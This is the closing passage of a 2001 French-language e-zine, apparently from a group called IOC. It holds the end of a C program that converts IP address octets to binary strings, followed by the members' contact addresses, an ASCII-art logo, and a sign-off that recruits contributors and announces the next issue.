strcat(bin3,"1");} if (nbre[1]<=31){nbre[2]=nbre[1]; strcat(bin3,"0"); } if (nbre[2]>=16){nbre[3]=nbre[2] - 16; strcat(bin3,"1");} if (nbre[2]<=15){nbre[3]=nbre[2]; strcat(bin3,"0"); } if (nbre[3]>=8){nbre[4]=nbre[3] - 8; strcat(bin3,"1");} if (nbre[3]<=7){nbre[4]=nbre[3]; strcat(bin3,"0"); } if (nbre[4]>=4){nbre[5]=nbre[4] - 4; strcat(bin3,"1");} if (nbre[4]<=3){nbre[5]=nbre[4]; strcat(bin3,"0"); } if (nbre[5]>=2){nbre[6]=nbre[5] - 2; strcat(bin3,"1");} if (nbre[5]<=1){nbre[6]=nbre[5]; strcat(bin3,"0"); } if (nbre[6]>=1){strcat(bin3,"1");} if (nbre[6]<=0){strcat(bin3,"0"); } } void calcul4 () { if (IP4>=128){nbre[0]=IP4 - 128; strcat(bin4,"1");;} if (IP4<=127){nbre[0]=IP4; strcat(bin4,"0");} if (nbre[0]>=64){nbre[1]=nbre[0] - 64; strcat(bin4,"1");} if (nbre[0]<=63){nbre[1]=nbre[0]; strcat(bin4,"0"); } if (nbre[1]>=32){nbre[2]=nbre[1] - 32; strcat(bin4,"1");} if (nbre[1]<=31){nbre[2]=nbre[1]; strcat(bin4,"0"); } if (nbre[2]>=16){nbre[3]=nbre[2] - 16; strcat(bin4,"1");} if (nbre[2]<=15){nbre[3]=nbre[2]; strcat(bin4,"0"); } if (nbre[3]>=8){nbre[4]=nbre[3] - 8; strcat(bin4,"1");} if (nbre[3]<=7){nbre[4]=nbre[3]; strcat(bin4,"0"); } if (nbre[4]>=4){nbre[5]=nbre[4] - 4; strcat(bin4,"1");} if (nbre[4]<=3){nbre[5]=nbre[4]; strcat(bin4,"0"); } if (nbre[5]>=2){nbre[6]=nbre[5] - 2; strcat(bin4,"1");} if (nbre[5]<=1){nbre[6]=nbre[5]; strcat(bin4,"0"); } if (nbre[6]>=1){strcat(bin4,"1");} if (nbre[6]<=0){strcat(bin4,"0"); } } /* Pour vider les "bin" de leurs précédentes valeurs */ void clean () { strcpy(bin1,""); strcpy(bin2,""); strcpy(bin3,""); strcpy(bin4,""); } ------------------------------------------------------------------------------------------- >>> CONTACT <<< ------------------------------------------------------------------------------------------- o Lex Icon : Invisible_evil_meik@hotmail.com o Neo Fox : neo_fox_2001@hotmail.com o Merlin : IOC_merlin@hotmail.com o Wargames : wargames8@caramail.com o Notre site : http://IOC.multimania.com ____ __ _ ____ _ _ _ ___ _ __ _ / ____| / \ | \ || / ____|| | | | | | / _\|_| / \ | \ || / / | /\ |||\\ ||/ / | | | | | | \ / _ | /\ |||\\ || \ \____ | \/ ||| \\||\ \____ | |__ | \__/ ||\_\ \ | || \/ ||| \\|| \ ____| \__/ || \\| \ ____||____| \____/ \___/ |_| \__/ || \\| Ainsi s'achève le premier numéro de notre magazine qui, nous l'espérons tous, vous aura plus. Seulement 2 des 4 membres que compte notre groupe ont participé à la rédaction de l'issue #1 pour des raisons de disponnibilité. Comme l'a dit Lex Icon au début de ce magazine, On recrute! Si vous souhaitez collaborer au prochaines issues et intégrer le groupe,il faut nous mailer au plus vite. Sortir un zine de qualité exige pas mal de temps aussi, toute aide sera la bienvenue. L'issue #2 est en cours de rédaction : Rendez-vous le 1er Janvier 2002 ! - IOC - Copyright © 2001 [IOC] -